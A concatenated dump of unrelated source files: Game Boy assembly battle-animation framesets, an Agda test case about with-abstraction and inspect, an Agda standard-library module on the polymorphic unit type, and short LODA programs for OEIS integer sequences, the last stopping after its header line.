frame BATTLEANIMOAMSET_17, 4
dorestart
.Frameset_56:
frame BATTLEANIMOAMSET_69, 8
endanim
.Frameset_57:
frame BATTLEANIMOAMSET_69, 32
frame BATTLEANIMOAMSET_6A, 4
frame BATTLEANIMOAMSET_6B, 4
frame BATTLEANIMOAMSET_6D, 4
frame BATTLEANIMOAMSET_6C, 4
endanim
.Frameset_58:
frame BATTLEANIMOAMSET_6C, 8
frame BATTLEANIMOAMSET_6D, 8
dorestart
.Frameset_18:
frame BATTLEANIMOAMSET_18, 4
frame BATTLEANIMOAMSET_19, 4
frame BATTLEANIMOAMSET_1A, 4
delanim
.Frameset_19:
frame BATTLEANIMOAMSET_1B, 8
endanim
.Frameset_1a:
frame BATTLEANIMOAMSET_0F, 8
endanim
.Frameset_1b:
frame BATTLEANIMOAMSET_1C, 8
endanim
.Frameset_1c:
frame BATTLEANIMOAMSET_0A, 8
delanim
.Frameset_1d:
frame BATTLEANIMOAMSET_1D, 8
endanim
.Frameset_1e:
frame BATTLEANIMOAMSET_17, 8
endanim
.Frameset_1f:
frame BATTLEANIMOAMSET_0F, 3
frame BATTLEANIMOAMSET_10, 3
frame BATTLEANIMOAMSET_1E, 3
endanim
.Frameset_20:
frame BATTLEANIMOAMSET_1F, 16
frame BATTLEANIMOAMSET_20, 3
delanim
.Frameset_21:
frame BATTLEANIMOAMSET_20, 8
endanim
.Frameset_22:
frame BATTLEANIMOAMSET_20, 8
frame BATTLEANIMOAMSET_21, 8
frame BATTLEANIMOAMSET_1B, 8
frame BATTLEANIMOAMSET_21, 8
dorestart
.Frameset_23:
frame BATTLEANIMOAMSET_22, 8
endanim
.Frameset_24:
frame BATTLEANIMOAMSET_1B, 8
endanim
.Frameset_25:
frame BATTLEANIMOAMSET_23, 8
endanim
.Frameset_26:
frame BATTLEANIMOAMSET_24, 8
endanim
.Frameset_27:
frame BATTLEANIMOAMSET_25, 8
endanim
.Frameset_28:
frame BATTLEANIMOAMSET_26, 8
frame BATTLEANIMOAMSET_27, 8
endanim
.Frameset_29:
frame BATTLEANIMOAMSET_28, 8
frame BATTLEANIMOAMSET_29, 8
delanim
.Frameset_2a:
frame BATTLEANIMOAMSET_2A, 1
frame BATTLEANIMOAMSET_2B, 1
frame BATTLEANIMOAMSET_2C, 1
frame BATTLEANIMOAMSET_2D, 1
frame BATTLEANIMOAMSET_2E, 1
frame BATTLEANIMOAMSET_2D, 1
frame BATTLEANIMOAMSET_2C, 1
frame BATTLEANIMOAMSET_2B, 1
frame BATTLEANIMOAMSET_2A, 1
delanim
.Frameset_2b:
frame BATTLEANIMOAMSET_14, 1
frame BATTLEANIMOAMSET_15, 1
dorestart
.Frameset_2c:
frame BATTLEANIMOAMSET_2F, 4
frame BATTLEANIMOAMSET_30, 40
delanim
.Frameset_2d:
frame BATTLEANIMOAMSET_31, 8
endanim
.Frameset_2e:
frame BATTLEANIMOAMSET_32, 32
frame BATTLEANIMOAMSET_33, 32
frame BATTLEANIMOAMSET_34, 32
frame BATTLEANIMOAMSET_35, 32 ; fallthrough
.Frameset_2f:
dowait 2
frame BATTLEANIMOAMSET_35, 4
dowait 2
frame BATTLEANIMOAMSET_35, 4
dowait 2
frame BATTLEANIMOAMSET_35, 4
dowait 2
frame BATTLEANIMOAMSET_35, 4
delanim
.Frameset_30:
frame BATTLEANIMOAMSET_14, 4
frame BATTLEANIMOAMSET_15, 4
dorestart
.Frameset_31:
frame BATTLEANIMOAMSET_36, 2
frame BATTLEANIMOAMSET_37, 2
frame BATTLEANIMOAMSET_38, 2
frame BATTLEANIMOAMSET_39, 32
delanim
.Frameset_32:
frame BATTLEANIMOAMSET_3A, 2
frame BATTLEANIMOAMSET_3B, 2
frame BATTLEANIMOAMSET_3C, 2
frame BATTLEANIMOAMSET_3D, 32
delanim
.Frameset_33:
frame BATTLEANIMOAMSET_3A, 2, OAM_X_FLIP
frame BATTLEANIMOAMSET_3B, 2, OAM_X_FLIP
frame BATTLEANIMOAMSET_3C, 2, OAM_X_FLIP
frame BATTLEANIMOAMSET_3D, 32, OAM_X_FLIP
delanim
.Frameset_34:
frame BATTLEANIMOAMSET_3E, 8
frame BATTLEANIMOAMSET_3F, 8
frame BATTLEANIMOAMSET_40, 8
endanim
.Frameset_35:
frame BATTLEANIMOAMSET_40, 2
dowait 2
frame BATTLEANIMOAMSET_40, 2
dowait 2
frame BATTLEANIMOAMSET_41, 2
dowait 2
frame BATTLEANIMOAMSET_41, 2
dowait 2
dorestart
.Frameset_36:
frame BATTLEANIMOAMSET_42, 2
frame BATTLEANIMOAMSET_43, 2
frame BATTLEANIMOAMSET_44, 2
frame BATTLEANIMOAMSET_45, 2
dorestart
.Frameset_37:
frame BATTLEANIMOAMSET_19, 2
dowait 2
dorestart
.Frameset_38:
frame BATTLEANIMOAMSET_46, 4
frame BATTLEANIMOAMSET_47, 4
dorestart
.Frameset_39:
frame BATTLEANIMOAMSET_18, 2
dowait 2
dorestart
.Frameset_3a:
frame BATTLEANIMOAMSET_48, 8
endanim
.Frameset_3b:
frame BATTLEANIMOAMSET_48, 8, OAM_X_FLIP
endanim
.Frameset_3c:
frame BATTLEANIMOAMSET_49, 8
endanim
.Frameset_3d:
frame BATTLEANIMOAMSET_4A, 8
endanim
.Frameset_43:
frame BATTLEANIMOAMSET_20, 16
frame BATTLEANIMOAMSET_1F, 16
frame BATTLEANIMOAMSET_1E, 16
endanim
.Frameset_4c:
frame BATTLEANIMOAMSET_20, 8
frame BATTLEANIMOAMSET_1F, 8
frame BATTLEANIMOAMSET_1E, 8
endanim
.Frameset_44:
dowait 20
frame BATTLEANIMOAMSET_55, 40
frame BATTLEANIMOAMSET_54, 40
frame BATTLEANIMOAMSET_53, 20
dowait 4
frame BATTLEANIMOAMSET_53, 4
dowait 4
frame BATTLEANIMOAMSET_53, 4
dowait 4
frame BATTLEANIMOAMSET_53, 4
delanim
.Frameset_7e:
frame BATTLEANIMOAMSET_1E, 8
frame BATTLEANIMOAMSET_1F, 8
frame BATTLEANIMOAMSET_20, 8
delanim
.Frameset_45:
dowait 0
frame BATTLEANIMOAMSET_14, 0
frame BATTLEANIMOAMSET_15, 0
frame BATTLEANIMOAMSET_14, 0, OAM_X_FLIP
dowait 0
frame BATTLEANIMOAMSET_16, 0, OAM_X_FLIP
frame BATTLEANIMOAMSET_15, 0
frame BATTLEANIMOAMSET_16, 0
dorestart
.Frameset_46:
frame BATTLEANIMOAMSET_56, 2
frame BATTLEANIMOAMSET_57, 4
delanim
.Frameset_47:
frame BATTLEANIMOAMSET_56, 2, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_57, 4, OAM_X_FLIP, OAM_Y_FLIP
delanim
.Frameset_48:
frame BATTLEANIMOAMSET_56, 1
frame BATTLEANIMOAMSET_57, 1
frame BATTLEANIMOAMSET_58, 1
frame BATTLEANIMOAMSET_57, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_58, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_57, 2
delanim
.Frameset_49:
frame BATTLEANIMOAMSET_56, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_57, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_58, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_57, 1
frame BATTLEANIMOAMSET_58, 1
frame BATTLEANIMOAMSET_57, 2, OAM_X_FLIP, OAM_Y_FLIP
delanim
.Frameset_4a:
frame BATTLEANIMOAMSET_57, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_58, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_57, 1
frame BATTLEANIMOAMSET_58, 1
dorestart
.Frameset_4b:
frame BATTLEANIMOAMSET_59, 1
frame BATTLEANIMOAMSET_5A, 1
frame BATTLEANIMOAMSET_5B, 1
frame BATTLEANIMOAMSET_5C, 2
delanim
.Frameset_4d:
frame BATTLEANIMOAMSET_0A, 10
frame BATTLEANIMOAMSET_0B, 3, OAM_X_FLIP
frame BATTLEANIMOAMSET_5D, 3, OAM_X_FLIP
frame BATTLEANIMOAMSET_0B, 3, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_0A, 2, OAM_Y_FLIP
frame BATTLEANIMOAMSET_0B, 1, OAM_Y_FLIP
frame BATTLEANIMOAMSET_5D, 1
frame BATTLEANIMOAMSET_0B, 1
dorestart
.Frameset_4e:
frame BATTLEANIMOAMSET_0A, 3
frame BATTLEANIMOAMSET_0B, 7, OAM_X_FLIP
frame BATTLEANIMOAMSET_0A, 7
frame BATTLEANIMOAMSET_0B, 7
frame BATTLEANIMOAMSET_0A, 3
dorestart
.Frameset_4f:
frame BATTLEANIMOAMSET_5E, 32
frame BATTLEANIMOAMSET_5E, 32
delanim
.Frameset_50:
frame BATTLEANIMOAMSET_5F, 32
frame BATTLEANIMOAMSET_5F, 32
delanim
.Frameset_51:
frame BATTLEANIMOAMSET_60, 8
endanim
.Frameset_52:
frame BATTLEANIMOAMSET_61, 1
frame BATTLEANIMOAMSET_62, 1
frame BATTLEANIMOAMSET_63, 1
endanim
.Frameset_53:
frame BATTLEANIMOAMSET_63, 7
frame BATTLEANIMOAMSET_64, 7
dorestart
.Frameset_54:
frame BATTLEANIMOAMSET_65, 1
frame BATTLEANIMOAMSET_66, 1
frame BATTLEANIMOAMSET_67, 1
endanim
.Frameset_55:
frame BATTLEANIMOAMSET_67, 7
frame BATTLEANIMOAMSET_68, 7
dorestart
.Frameset_59:
frame BATTLEANIMOAMSET_6E, 8
endanim
.Frameset_5a:
frame BATTLEANIMOAMSET_6F, 8
endanim
.Frameset_5b:
frame BATTLEANIMOAMSET_6E, 8, OAM_Y_FLIP
endanim
.Frameset_5c:
frame BATTLEANIMOAMSET_18, 4
frame BATTLEANIMOAMSET_70, 4
frame BATTLEANIMOAMSET_71, 4
frame BATTLEANIMOAMSET_72, 4
frame BATTLEANIMOAMSET_73, 4
delanim
.Frameset_5d:
frame BATTLEANIMOAMSET_74, 4
frame BATTLEANIMOAMSET_75, 4
dorestart
.Frameset_5e:
frame BATTLEANIMOAMSET_14, 8
endanim
.Frameset_7a:
frame BATTLEANIMOAMSET_74, 3
frame BATTLEANIMOAMSET_14, 3
frame BATTLEANIMOAMSET_15, 3
frame BATTLEANIMOAMSET_14, 3
frame BATTLEANIMOAMSET_15, 3
delanim
.Frameset_af:
frame BATTLEANIMOAMSET_14, 0
frame BATTLEANIMOAMSET_15, 0
frame BATTLEANIMOAMSET_14, 0
frame BATTLEANIMOAMSET_15, 0
frame BATTLEANIMOAMSET_74, 12
delanim
.Frameset_5f:
frame BATTLEANIMOAMSET_76, 8
endanim
.Frameset_60:
frame BATTLEANIMOAMSET_77, 1
frame BATTLEANIMOAMSET_78, 1
frame BATTLEANIMOAMSET_79, 1
frame BATTLEANIMOAMSET_7A, 1
frame BATTLEANIMOAMSET_7B, 1
frame BATTLEANIMOAMSET_7C, 1
frame BATTLEANIMOAMSET_7D, 1
frame BATTLEANIMOAMSET_7C, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_7B, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_7A, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_79, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_78, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_77, 1, OAM_X_FLIP, OAM_Y_FLIP
delanim
.Frameset_61:
frame BATTLEANIMOAMSET_1B, 4
frame BATTLEANIMOAMSET_7E, 4
dorestart
.Frameset_62:
frame BATTLEANIMOAMSET_1B, 4, OAM_X_FLIP
frame BATTLEANIMOAMSET_7E, 4, OAM_X_FLIP
dorestart
.Frameset_63:
frame BATTLEANIMOAMSET_7F, 8
endanim
.Frameset_64:
frame BATTLEANIMOAMSET_25, 8
endanim
.Frameset_65:
frame BATTLEANIMOAMSET_80, 8
endanim
.Frameset_66:
frame BATTLEANIMOAMSET_83, 7
frame BATTLEANIMOAMSET_82, 7
frame BATTLEANIMOAMSET_81, 7
frame BATTLEANIMOAMSET_82, 7
frame BATTLEANIMOAMSET_83, 7
frame BATTLEANIMOAMSET_82, 7
frame BATTLEANIMOAMSET_81, 7
delanim
.Frameset_67:
frame BATTLEANIMOAMSET_1B, 16
delanim
.Frameset_68:
dowait 15
frame BATTLEANIMOAMSET_84, 15
frame BATTLEANIMOAMSET_85, 15
frame BATTLEANIMOAMSET_29, 15
frame BATTLEANIMOAMSET_28, 15
frame BATTLEANIMOAMSET_86, 32
delanim
.Frameset_69:
frame BATTLEANIMOAMSET_1B, 3
frame BATTLEANIMOAMSET_87, 3
frame BATTLEANIMOAMSET_88, 3
frame BATTLEANIMOAMSET_89, 3
delanim
.Frameset_6a:
frame BATTLEANIMOAMSET_8A, 2
frame BATTLEANIMOAMSET_8B, 2
frame BATTLEANIMOAMSET_8C, 2
frame BATTLEANIMOAMSET_8D, 2
delanim
.Frameset_6b:
frame BATTLEANIMOAMSET_61, 2
frame BATTLEANIMOAMSET_62, 2
frame BATTLEANIMOAMSET_63, 2
endanim
.Frameset_6c:
frame BATTLEANIMOAMSET_65, 2
frame BATTLEANIMOAMSET_66, 2
frame BATTLEANIMOAMSET_67, 2
endanim
.Frameset_6d:
frame BATTLEANIMOAMSET_8E, 8
endanim
.Frameset_6e:
frame BATTLEANIMOAMSET_8E, 8, OAM_X_FLIP
endanim
.Frameset_6f:
frame BATTLEANIMOAMSET_8F, 16
frame BATTLEANIMOAMSET_90, 16
dorestart
.Frameset_70:
frame BATTLEANIMOAMSET_91, 16
frame BATTLEANIMOAMSET_92, 16
dorestart
.Frameset_71:
frame BATTLEANIMOAMSET_93, 8
endanim
.Frameset_72:
frame BATTLEANIMOAMSET_1E, 8
endanim
.Frameset_73:
frame BATTLEANIMOAMSET_1B, 7
frame BATTLEANIMOAMSET_94, 7
dorestart
.Frameset_74:
frame BATTLEANIMOAMSET_95, 8
endanim
.Frameset_75:
frame BATTLEANIMOAMSET_96, 8
endanim
.Frameset_76:
frame BATTLEANIMOAMSET_95, 8
endanim
.Frameset_77:
frame BATTLEANIMOAMSET_97, 1
frame BATTLEANIMOAMSET_97, 1, OAM_X_FLIP
dorestart
.Frameset_78:
frame BATTLEANIMOAMSET_98, 8
endanim
.Frameset_79:
frame BATTLEANIMOAMSET_99, 32
frame BATTLEANIMOAMSET_99, 32
frame BATTLEANIMOAMSET_99, 32
frame BATTLEANIMOAMSET_99, 32
frame BATTLEANIMOAMSET_99, 32
frame BATTLEANIMOAMSET_9A, 8
endanim
.Frameset_7b:
frame BATTLEANIMOAMSET_9B, 8
endanim
.Frameset_7c:
frame BATTLEANIMOAMSET_9C, 2
frame BATTLEANIMOAMSET_9D, 2
frame BATTLEANIMOAMSET_9E, 8
dowait 2
frame BATTLEANIMOAMSET_9E, 2
dowait 2
frame BATTLEANIMOAMSET_9E, 2
dowait 2
frame BATTLEANIMOAMSET_9E, 2
delanim
.Frameset_7d:
frame BATTLEANIMOAMSET_9F, 8
endanim
.Frameset_7f:
frame BATTLEANIMOAMSET_0F, 8
endanim
.Frameset_80:
frame BATTLEANIMOAMSET_6B, 24
delanim
.Frameset_81:
frame BATTLEANIMOAMSET_A0, 1 ; fallthrough
.Frameset_82:
frame BATTLEANIMOAMSET_A1, 1 ; fallthrough
.Frameset_83:
frame BATTLEANIMOAMSET_A2, 1
delanim
.Frameset_84:
frame BATTLEANIMOAMSET_A3, 8
endanim
.Frameset_85:
frame BATTLEANIMOAMSET_A4, 4
frame BATTLEANIMOAMSET_A5, 4
frame BATTLEANIMOAMSET_A6, 4
frame BATTLEANIMOAMSET_A7, 4
frame BATTLEANIMOAMSET_A6, 4, OAM_X_FLIP
frame BATTLEANIMOAMSET_A5, 4, OAM_X_FLIP
dorestart
.Frameset_86:
frame BATTLEANIMOAMSET_A8, 4
frame BATTLEANIMOAMSET_A9, 4
frame BATTLEANIMOAMSET_AA, 4
frame BATTLEANIMOAMSET_AB, 4
frame BATTLEANIMOAMSET_AA, 4, OAM_X_FLIP
frame BATTLEANIMOAMSET_A9, 4, OAM_X_FLIP
dorestart
.Frameset_87:
frame BATTLEANIMOAMSET_1B, 8
endanim
.Frameset_88:
frame BATTLEANIMOAMSET_AC, 8
endanim
.Frameset_89:
frame BATTLEANIMOAMSET_AD, 8
endanim
.Frameset_8a:
frame BATTLEANIMOAMSET_AE, 8
endanim
.Frameset_8b:
frame BATTLEANIMOAMSET_AF, 8
endanim
.Frameset_8c:
frame BATTLEANIMOAMSET_B0, 32
delanim
.Frameset_8d:
frame BATTLEANIMOAMSET_B1, 7
frame BATTLEANIMOAMSET_B1, 7, OAM_X_FLIP
dorestart
.Frameset_8e:
frame BATTLEANIMOAMSET_B2, 8
endanim
.Frameset_8f:
frame BATTLEANIMOAMSET_B3, 8
endanim
.Frameset_90:
frame BATTLEANIMOAMSET_B3, 8, OAM_X_FLIP
endanim
.Frameset_91:
frame BATTLEANIMOAMSET_B3, 8, OAM_Y_FLIP
endanim
.Frameset_92:
frame BATTLEANIMOAMSET_B3, 8, OAM_X_FLIP, OAM_Y_FLIP
endanim
.Frameset_93:
frame BATTLEANIMOAMSET_B5, 8
endanim
.Frameset_94:
frame BATTLEANIMOAMSET_B5, 8, OAM_X_FLIP
endanim
.Frameset_95:
frame BATTLEANIMOAMSET_B5, 8, OAM_Y_FLIP
endanim
.Frameset_96:
frame BATTLEANIMOAMSET_B5, 8, OAM_X_FLIP, OAM_Y_FLIP
endanim
.Frameset_97:
frame BATTLEANIMOAMSET_B4, 8
endanim
.Frameset_98:
frame BATTLEANIMOAMSET_6B, 8
endanim
.Frameset_99:
frame BATTLEANIMOAMSET_B6, 8
endanim
.Frameset_9a:
frame BATTLEANIMOAMSET_B7, 32
endanim
.Frameset_9b:
frame BATTLEANIMOAMSET_1B, 32
endanim
.Frameset_9c:
frame BATTLEANIMOAMSET_B8, 32
endanim
.Frameset_9d:
frame BATTLEANIMOAMSET_B8, 32, OAM_X_FLIP
endanim
.Frameset_9e:
frame BATTLEANIMOAMSET_B9, 32
endanim
.Frameset_9f:
frame BATTLEANIMOAMSET_BA, 32
endanim
.Frameset_a0:
frame BATTLEANIMOAMSET_BB, 32, OAM_X_FLIP
endanim
.Frameset_a1:
frame BATTLEANIMOAMSET_BB, 32
endanim
.Frameset_a2:
frame BATTLEANIMOAMSET_BC, 32
endanim
.Frameset_a3:
frame BATTLEANIMOAMSET_BD, 11
frame BATTLEANIMOAMSET_BE, 11
frame BATTLEANIMOAMSET_1B, 11
delanim
.Frameset_a4:
frame BATTLEANIMOAMSET_BF, 4
frame BATTLEANIMOAMSET_C0, 4
frame BATTLEANIMOAMSET_C1, 4
delanim
.Frameset_a5:
frame BATTLEANIMOAMSET_C2, 32
frame BATTLEANIMOAMSET_C2, 32
delanim
.Frameset_a6:
frame BATTLEANIMOAMSET_4B, 2
frame BATTLEANIMOAMSET_4C, 2
frame BATTLEANIMOAMSET_4D, 32
frame BATTLEANIMOAMSET_4D, 32
frame BATTLEANIMOAMSET_4D, 32
frame BATTLEANIMOAMSET_4F, 1
frame BATTLEANIMOAMSET_50, 1
frame BATTLEANIMOAMSET_51, 1
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
dowait 2
frame BATTLEANIMOAMSET_52, 2
delanim
.Frameset_a7:
frame BATTLEANIMOAMSET_4B, 2, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4C, 2, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4D, 32, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4D, 32, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4D, 32, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_4F, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_50, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_51, 1, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP, OAM_Y_FLIP
dowait 2
frame BATTLEANIMOAMSET_52, 2, OAM_X_FLIP, OAM_Y_FLIP
delanim
.Frameset_a8:
frame BATTLEANIMOAMSET_C3, 1
frame BATTLEANIMOAMSET_C3, 1, OAM_X_FLIP, OAM_Y_FLIP
dorestart
.Frameset_a9:
frame BATTLEANIMOAMSET_C4, 32
endanim
.Frameset_aa:
frame BATTLEANIMOAMSET_C5, 4
frame BATTLEANIMOAMSET_C6, 4
frame BATTLEANIMOAMSET_C7, 4
delanim
.Frameset_ab:
frame BATTLEANIMOAMSET_C8, 1
frame BATTLEANIMOAMSET_C8, 1, OAM_X_FLIP
dorestart
.Frameset_ac:
frame BATTLEANIMOAMSET_C9, 3
frame BATTLEANIMOAMSET_05, 3
delanim
.Frameset_ad:
frame BATTLEANIMOAMSET_CA, 32
frame BATTLEANIMOAMSET_CB, 3
frame BATTLEANIMOAMSET_CA, 3
frame BATTLEANIMOAMSET_CB, 3
dorestart
.Frameset_ae:
frame BATTLEANIMOAMSET_03, 32, OAM_Y_FLIP
endanim
.Frameset_b0:
frame BATTLEANIMOAMSET_CC, 32
endanim
.Frameset_b1:
frame BATTLEANIMOAMSET_7F, 2
frame BATTLEANIMOAMSET_25, 2
frame BATTLEANIMOAMSET_80, 2
frame BATTLEANIMOAMSET_25, 2
dorestart
.Frameset_b2:
frame BATTLEANIMOAMSET_CD, 4
frame BATTLEANIMOAMSET_CE, 4
frame BATTLEANIMOAMSET_CD, 4, OAM_X_FLIP, OAM_Y_FLIP
frame BATTLEANIMOAMSET_CE, 4, OAM_X_FLIP, OAM_Y_FLIP
dorestart
.Frameset_b3:
frame BATTLEANIMOAMSET_CF, 4
frame BATTLEANIMOAMSET_D0, 4
frame BATTLEANIMOAMSET_D1, 4
frame BATTLEANIMOAMSET_D2, 4
delanim
.Frameset_b4:
frame BATTLEANIMOAMSET_D3, 32
endanim
.Frameset_b5:
frame BATTLEANIMOAMSET_D4, 8
endanim
.Frameset_b6:
frame BATTLEANIMOAMSET_D5, 8
endanim
.Frameset_b7:
frame BATTLEANIMOAMSET_D6, 8
endanim
.Frameset_b8:
frame BATTLEANIMOAMSET_D7, 8
endanim
|
test/Succeed/Issue745b.agda | shlevy/agda | 1,989 | 16019 | <reponame>shlevy/agda
module _ where
-- This is all standard library stuff, inspect on steroids:
data _≡_ {A : Set} (x : A) : A → Set where
refl : x ≡ x
data Unit : Set where
unit : Unit
Hidden : Set → Set
Hidden A = Unit → A
hide : {A : Set} {B : A → Set} →
((x : A) → B x) → ((x : A) → Hidden (B x))
hide f x unit = f x
reveal : {A : Set} → Hidden A → A
reveal f = f unit
data Reveal_is_ {A : Set} (x : Hidden A) (y : A) : Set where
[_] : (eq : reveal x ≡ y) → Reveal x is y
inspect : {A : Set} {B : A → Set}
(f : (x : A) → B x) (x : A) → Reveal (hide f x) is (f x)
inspect f x = [ refl ]
data ℕ : Set where
zero : ℕ
suc : ℕ -> ℕ
-- New stuff starts here:
data Wrap : ℕ -> Set where
con : (n : ℕ) -> Wrap n
wrap : (n : ℕ) -> Wrap n
wrap zero = con zero
wrap (suc x) = con (suc x)
bar-with : (n : ℕ)(v : Wrap n) -> Reveal (hide wrap n) is (wrap n) -> ℕ
bar-with n (con .n) r = zero
bar : (n : ℕ) -> ℕ
bar zero = zero
bar (suc n) = bar-with n (wrap n) (inspect wrap n)
-- I've manually desugared `bar' to make the error clearer, but the
-- following definition works correctly:
{-
bar : (n : ℕ) -> ℕ
bar zero = zero
bar (suc n) with wrap n | inspect wrap n
bar (suc ._) | con _ | r = zero
-}
foo : (n : ℕ) -> Wrap (bar n) -> ℕ
foo zero p = zero
foo (suc x) p with inspect bar x
foo (suc x) p | r = zero
-- The previous line gives the error:
-- ℕ != Wrap x of type Set
-- when checking that the type
-- (x : ℕ) (w : Reveal_is_ {ℕ} (hide {ℕ} {λ _ → ℕ} bar x) (bar x))
-- (p : Wrap (bar-with x (wrap x) w)) →
-- ℕ
-- of the generated with function is well-formed
-- In particular, notice that the type of `p' is incorrect, because an
-- occurrence of `inspect wrap x` has been turned into the variable w
-- (which corresponds to `inspect bar x`).
-- I think the correct desugaring of the with is as follows:
good-foo-with : (x : ℕ) -> Wrap (bar (suc x)) -> Reveal (hide bar x) is bar x -> ℕ
good-foo-with x w r = zero
good-foo : (n : ℕ) -> Wrap (bar n) -> ℕ
good-foo zero p = zero
good-foo (suc x) p = good-foo-with x p (inspect bar x)
|
agda-stdlib/src/Data/Unit/Polymorphic/Properties.agda | DreamLinuxer/popl21-artifact | 5 | 3560 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Properties of the polymorphic unit type
-- Defines Decidable Equality and Decidable Ordering as well
------------------------------------------------------------------------
{-# OPTIONS --without-K --safe #-}
module Data.Unit.Polymorphic.Properties where
open import Level
open import Data.Sum.Base using (inj₁)
open import Data.Unit.Polymorphic.Base using (⊤; tt)
open import Relation.Nullary
open import Relation.Binary
open import Relation.Binary.PropositionalEquality
private
variable
ℓ : Level
------------------------------------------------------------------------
-- Equality
------------------------------------------------------------------------
infix 4 _≟_
_≟_ : Decidable {A = ⊤ {ℓ}} _≡_
_ ≟ _ = yes refl
≡-setoid : ∀ ℓ → Setoid ℓ ℓ
≡-setoid _ = setoid ⊤
≡-decSetoid : ∀ ℓ → DecSetoid ℓ ℓ
≡-decSetoid _ = decSetoid _≟_
------------------------------------------------------------------------
-- Ordering
------------------------------------------------------------------------
≡-total : Total {A = ⊤ {ℓ}} _≡_
≡-total _ _ = inj₁ refl
≡-antisym : Antisymmetric {A = ⊤ {ℓ}} _≡_ _≡_
≡-antisym p _ = p
------------------------------------------------------------------------
-- Structures
≡-isPreorder : ∀ ℓ → IsPreorder {ℓ} {_} {⊤} _≡_ _≡_
≡-isPreorder ℓ = record
{ isEquivalence = isEquivalence
; reflexive = λ x → x
; trans = trans
}
≡-isPartialOrder : ∀ ℓ → IsPartialOrder {ℓ} _≡_ _≡_
≡-isPartialOrder ℓ = record
{ isPreorder = ≡-isPreorder ℓ
; antisym = ≡-antisym
}
≡-isTotalOrder : ∀ ℓ → IsTotalOrder {ℓ} _≡_ _≡_
≡-isTotalOrder ℓ = record
{ isPartialOrder = ≡-isPartialOrder ℓ
; total = ≡-total
}
≡-isDecTotalOrder : ∀ ℓ → IsDecTotalOrder {ℓ} _≡_ _≡_
≡-isDecTotalOrder ℓ = record
{ isTotalOrder = ≡-isTotalOrder ℓ
; _≟_ = _≟_
; _≤?_ = _≟_
}
------------------------------------------------------------------------
-- Bundles
≡-preorder : ∀ ℓ → Preorder ℓ ℓ ℓ
≡-preorder ℓ = record
{ isPreorder = ≡-isPreorder ℓ
}
≡-poset : ∀ ℓ → Poset ℓ ℓ ℓ
≡-poset ℓ = record
{ isPartialOrder = ≡-isPartialOrder ℓ
}
≡-totalOrder : ∀ ℓ → TotalOrder ℓ ℓ ℓ
≡-totalOrder ℓ = record
{ isTotalOrder = ≡-isTotalOrder ℓ
}
≡-decTotalOrder : ∀ ℓ → DecTotalOrder ℓ ℓ ℓ
≡-decTotalOrder ℓ = record
{ isDecTotalOrder = ≡-isDecTotalOrder ℓ
}
|
oeis/026/A026241.asm | neoneye/loda-programs | 11 | 25987 | ; A026241: Expansion of 1/((1-2x)(1-5x)(1-10x)(1-12x)).
; Submitted by <NAME>
; 1,29,557,8977,131685,1825017,24374173,317359889,4057667669,51188756905,639248806989,7920904304001,97550444747653,1195603302467993,14597229457092605,177666702622486513
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,16302 ; Expansion of 1/((1-2*x)*(1-5*x)*(1-12*x)).
mul $1,10
add $1,$0
lpe
mov $0,$1
|
programs/oeis/065/A065827.asm | neoneye/loda | 22 | 17594 | ; A065827: Sum of squares of divisors of square numbers.
; 1,21,91,341,651,1911,2451,5461,7381,13671,14763,31031,28731,51471,59241,87381,83811,155001,130683,221991,223041,310023,280371,496951,406901,603351,597871,835791,708123,1244061,924483,1398101,1343433,1760031,1595601,2516921,1875531,2744343,2614521,3555111,2827443,4683861,3420651,5034183,4805031,5887791,4881891,7951671,5884901,8544921,7626801,9797271,7893291,12555291,9610713,13384911,11892153,14870583,12120843,20201181,13849563,19414143,18090831,22369621,18703881,28212093,20155611,28579551,25513761,33507621,25416723,40307641,28403571,39386151,37027991,44562903,36184113,54904941,38956323,56885031,48427561,59376303,47465211,76056981,54560961,71833671,64439193,80620743,62750163,100905651,70419681,95606511,84127953,102519711,85074633,127227191,88538691,123582921,108965703,138753241
add $0,1
pow $0,2
mov $2,$0
lpb $0
mov $3,$2
mov $4,$0
cmp $4,0
add $0,$4
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
pow $3,2
add $1,$3
lpe
add $1,1
mov $0,$1
|
programs/oeis/125/A125824.asm | neoneye/loda | 22 | 96923 | <filename>programs/oeis/125/A125824.asm
; A125824: Denominator of n!/3^n.
